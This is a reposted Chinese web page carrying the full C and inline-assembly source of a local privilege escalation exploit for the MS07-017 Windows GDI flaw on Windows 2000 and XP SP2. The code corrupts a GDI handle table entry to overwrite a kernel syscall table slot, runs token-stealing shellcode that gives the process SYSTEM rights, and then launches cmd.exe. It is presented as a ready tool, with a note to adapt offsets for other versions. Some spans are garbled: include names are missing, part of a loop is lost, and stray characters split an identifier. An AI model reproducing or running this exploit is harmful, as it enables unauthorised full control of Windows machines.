您的位置:首页 > 其它

MS07-017 windows 2000 and windows xp sp2 修改版

2007-05-24 10:14 681 查看
MS07-017 windows 2000 and windows xp sp2 修改版

Author:  Polymorphours
Email:   Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date:    2007-05-9

#include
#include
#include

#pragma comment (lib, "ntdll.lib")
#pragma comment (lib, "shlwapi.lib")

typedef LONG NTSTATUS;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _GDI_TABLE_ENTRY {

DWORD pKernelInfo;
WORD  ProcessID;
WORD  _nCount;
WORD  nUpper;
WORD  nType;
DWORD pUserInfo;
} GDI_TABLE_ENTRY, *PGDI_TABLE_ENTRY;

typedef struct _IMAGE_FIXUP_ENTRY {

WORD    offset:12;
WORD    type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef enum _SECTION_INFORMATION_CLASS {

SectionBasicInformation,
SectionImageInformation
}SECTION_INFORMATION_CLASS;

typedef struct _SECTION_BASIC_INFORMATION { // Information Class 0

PVOID BaseAddress;
ULONG Attributes;
LARGE_INTEGER Size;
}SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;

typedef struct _UNICODE_STRING {

USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {

SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11

ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

extern "C"
NTSTATUS
NTAPI
NtQuerySection(
IN HANDLE SectionHandle,
IN SECTION_INFORMATION_CLASS SectionInformationClass,
OUT PVOID SectionInformation,
IN ULONG SectionInformationLength,
OUT PULONG ResultLength OPTIONAL
);

extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

extern "C"
NTSTATUS
NTAPI
NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

extern "C"
PIMAGE_NT_HEADERS
NTAPI
RtlImageNtHeader (
IN PVOID Base
);

extern "C"
PVOID
NTAPI
RtlImageDirectoryEntryToData (
IN PVOID Base,
IN BOOLEAN MappedAsImage,
IN USHORT DirectoryEntry,
OUT PULONG Size
);

ULONG MyBuffer[500];
PCHAR Temp[10];

DWORD
GetKernelBase(
VOID
)
{
NTSTATUS	status = STATUS_SUCCESS;
ULONG		i = 0;
ULONG		NeedSize = 0;
ULONG		ModuleTotal = 0;
DWORD		dwKernelBase = 0;
PSYSTEM_MODULE_INFORMATION	SystemModuleInfo = NULL;

status = NtQuerySystemInformation(
SystemModuleInformation,
(PVOID)Temp,
10,
&NeedSize );

if( status != STATUS_INFO_LENGTH_MISMATCH ) {

printf("NtQuerySystemInformation (first) failed, status: %08X/n", status );
return dwKernelBase;
}

SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)LocalAlloc( LPTR, NeedSize );
if ( NULL == SystemModuleInfo ) {

printf("NtQuerySystemInformation failed (second), code: %08X/n", GetLastError() );
return dwKernelBase;
}

status = NtQuerySystemInformation(
SystemModuleInformation,
SystemModuleInfo,
NeedSize,
&NeedSize );

if( status != STATUS_SUCCESS ) {

printf("NtQuerySystemInformation failed, status: %08X/n", status );
return dwKernelBase;
}

ModuleTotal = *(PULONG)SystemModuleInfo;
SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)SystemModuleInfo+4);

for( i=0; iSizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) >> 1;
i++, ImageFixup++ ) {

if ( ImageFixup->type == IMAGE_REL_BASED_HIGHLOW ) {

dwVirtualAddress = ImageBaseReloc->VirtualAddress + ImageFixup->offset;
dwRva = *(PDWORD)((DWORD)hModule+dwVirtualAddress) - (DWORD)NtHeaders->OptionalHeader.ImageBase;

if ( dwRva == dwKeSDTOffset ) {

if (*(PWORD)((DWORD)hModule + dwVirtualAddress-2) == 0x05c7) {

dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwVirtualAddress+4) - NtHeaders->OptionalHeader.ImageBase;
return dwKiServiceTable;
}
}
}
}

*(PDWORD)&ImageBaseReloc += ImageBaseReloc->SizeOfBlock;

} while ( ImageBaseReloc->VirtualAddress );

return 0;
}

VOID
SetShellCodeToMemory(
PVOID	ShellCodeMemory
)
{
OSVERSIONINFOEX	OsVersionInfo;

RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

if ( OsVersionInfo.dwMajorVersion != 5 ) {

printf( "Not NT5 system/n" );
ExitProcess( 0 );
return;
}

if ( OsVersionInfo.dwMinorVersion == 0 ) {

__asm {

call Copy2KShellCode

nop
nop
nop
nop
nop
nop

mov	eax,0xFFDFF124	// eax = KPCR		(not 3G Mode)
mov eax,[eax]

//
// 其他版本的shellcode请自己修改偏移, 谢谢
//

mov	esi,[eax+0x44]
mov	eax,esi

search2K:

mov	eax,[eax+0xa0]
sub	eax,0xa0
mov	edx,[eax+0x9c]
cmp	edx,0x8	// Find System Process
jne	search2K

mov	eax,[eax+0x12c]	// 获取system进程的token
mov	[esi+0x12c],eax	// 修改当前进程的token

ret 8

Copy2KShellCode:
pop esi
mov edi, ShellCodeMemory

lea ecx, Copy2KShellCode
sub ecx, esi
cld
rep movsb
}

} else if ( OsVersionInfo.dwMinorVersion == 1 ) {

__asm {

call CopyXpShellCode

nop
nop
nop
nop
nop
nop

mov	eax,0xFFDFF124	// eax = KPCR		(not 3G Mode)
mov eax,[eax]

//
// 其他版本的shellcode请自己修改偏移, 谢谢
//

mov	esi,[eax+0x220]
mov	eax,esi

searchXp:

mov	eax,[eax+0x88]
sub	eax,0x88
mov	edx,[eax+0x84]
cmp	edx,0x4	// Find System Process
jne	searchXp

mov	eax,[eax+0xc8]	// 获取system进程的token
mov	[esi+0xc8],eax	// 修改当前进程的token

ret 8

CopyXpShellCode:
pop esi
mov edi, ShellCodeMemory
lea ecx, CopyXpShellCode
sub ecx, esi
cld
rep movsb
}

} else {

ExitProcess(0);
}

}

int main(int argc, char* argv[])
{
NTSTATUS	status;
DWORD	dwKernelBase = 0;
HMODULE	hModule = NULL;
PVOID	KeServiceDescriptorTable = NULL;
DWORD	dwKeSDTOffset = 0;
DWORD	dwKiServiceTable = 0;
PVOID	ZwVdmControl = NULL;
DWORD	FuncNumber = 0;
DWORD	HookAddress = 0;

HBRUSH	hBrush;
PVOID	ShellCodeMemory = (PVOID)0x2;
DWORD	MemorySize = 0x1000;
WORD	Upr;
LPVOID	lpMapAddress = NULL;
HANDLE	hMapFile = (HANDLE)0x10;
DWORD	i;
ULONG	hPid;
DWORD	OldKernelInfo;

PGDI_TABLE_ENTRY	GdiTableEntry = NULL;

SECTION_BASIC_INFORMATION	SectionBaseInfo;
PROCESS_INFORMATION			pi;
STARTUPINFOA				stStartup;

printf( "MS07-017  Local Privilege Escalation Vulnerability Exploit/n/n" );
printf( "Tested on: /n/twindows xp sp2/n/twindows 2000 sp4 Chinese (before MS07-017) /n/n" );
printf( "/tCoded by Ivanlef0u, shadow3 modified/n/n" );

dwKernelBase = GetKernelBase();
if ( dwKernelBase == 0 ) {

printf("GetKernelBase failed/n" );
return 0;
}

printf( "Get KernelBase Success, ntoskrnl.exe base = %08X/n", dwKernelBase );
printf( "Mapping ntoskrnl.exe ... " );

hModule = LoadLibrary("ntoskrnl.exe");
if ( NULL == hModule ) {

printf("/nLoadLibrary failed, code: %d/n", GetLastError() );
return 0;
}

printf( "ok/n" );

KeServiceDescriptorTable = GetProcAddress(
hModule,
"KeServiceDescriptorTable" );
if ( NULL == KeServiceDescriptorTable ) {

printf("GetProcAddress failed, code: %d/n", GetLastError() );
FreeLibrary( hModule );
return 0;
}

printf( "KeServiceDescriptorTable = %08X/n", KeServiceDescriptorTable );
printf( "Find KiServiceTable ... " );

dwKeSDTOffset = (DWORD)Ke
9be9
ServiceDescriptorTable - (DWORD)hModule;

dwKiServiceTable = FindKiServiceTable( hModule, dwKeSDTOffset );
if ( 0 == dwKiServiceTable ) {

printf( "failed/n" );
FreeLibrary( hModule );
return 0;
}

printf( "ok!!!/nKiServiceTable == %08X/n", dwKiServiceTable + dwKernelBase );

FreeLibrary( hModule );

hModule = LoadLibrary( "ntdll.dll" );
if ( NULL == hModule ) {

printf("/nLoadLibrary failed, code: %d/n", GetLastError() );
return 0;
}

printf( "Get ZwVdmControl Number ... " );

ZwVdmControl = GetProcAddress( hModule, "ZwVdmControl" );
if ( NULL == ZwVdmControl ) {

printf("failed/nGetProcAddress failed, code: %d/n", GetLastError() );
FreeLibrary( hModule );
return 0;
}

FuncNumber = *(PDWORD)((DWORD)ZwVdmControl + 1);

printf( "ok!/n" );
printf( "ZwVdmControl Call Number: %08X/n", FuncNumber );

HookAddress = (DWORD)( dwKiServiceTable + dwKernelBase + FuncNumber * sizeof(DWORD) );

status = NtAllocateVirtualMemory( (HANDLE)-1,
&ShellCodeMemory,
0,
&MemorySize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {

printf( "NtAllocateVirtualMemory failed, status: %08X/n", status );
return 0;
}

//
// 初始化 ShellCode
//

memset( ShellCodeMemory, 0x90, MemorySize );
SetShellCodeToMemory( ShellCodeMemory );

hBrush = CreateSolidBrush(0);

Upr = (WORD)((DWORD)hBrush>>16);

while(!lpMapAddress) {

hMapFile = (HANDLE)((ULONG)hMapFile + 1);
lpMapAddress = MapViewOfFile( hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);
}

if( lpMapAddress == NULL ) {

printf("MapViewOfFile failed, code: %d/n", GetLastError());
return 0;
}

status=NtQuerySection( hMapFile,
SectionBasicInformation,
&SectionBaseInfo,
sizeof(SECTION_BASIC_INFORMATION),
0 );
if ( status != STATUS_SUCCESS ) {

printf("NtQuerySection failed, status: %08X/n", status);
return 0;
}

printf( "Find GdiTableEntry ... " );

GdiTableEntry = (PGDI_TABLE_ENTRY)lpMapAddress;
hPid = GetCurrentProcessId();

memset( MyBuffer, 0x90, sizeof(MyBuffer) );

for ( i = 0; i < SectionBaseInfo.Size.QuadPart; i += sizeof(GDI_TABLE_ENTRY) ) {

if( GdiTableEntry->ProcessID == hPid && GdiTableEntry->nUpper == Upr ) {

OldKernelInfo = GdiTableEntry->pKernelInfo;
GdiTableEntry->pKernelInfo = (ULONG)MyBuffer;
break;
}

GdiTableEntry++;
}

printf( "ok/n" );

DeleteObject( hBrush );

printf( "ZwVdmControl -> My Shellcode, modifiable KiServiceTable/n" );

MyBuffer[0]=0x1; //!=0
MyBuffer[0x24/4]= HookAddress; //syscall to modifY
MyBuffer[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr

DeleteObject( hBrush );

GdiTableEntry->pKernelInfo = OldKernelInfo;

printf( "call shellcode ... " );

_asm {

xor ecx,ecx
push ecx
push ecx
mov eax, ZwVdmControl
call eax
}

printf( "Done./n" );
printf( "Create New Process/n" );

GetStartupInfo( &stStartup );

CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi );

return 0;
}

原程序出处: http://www.milw0rm.com/exploits/3688
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息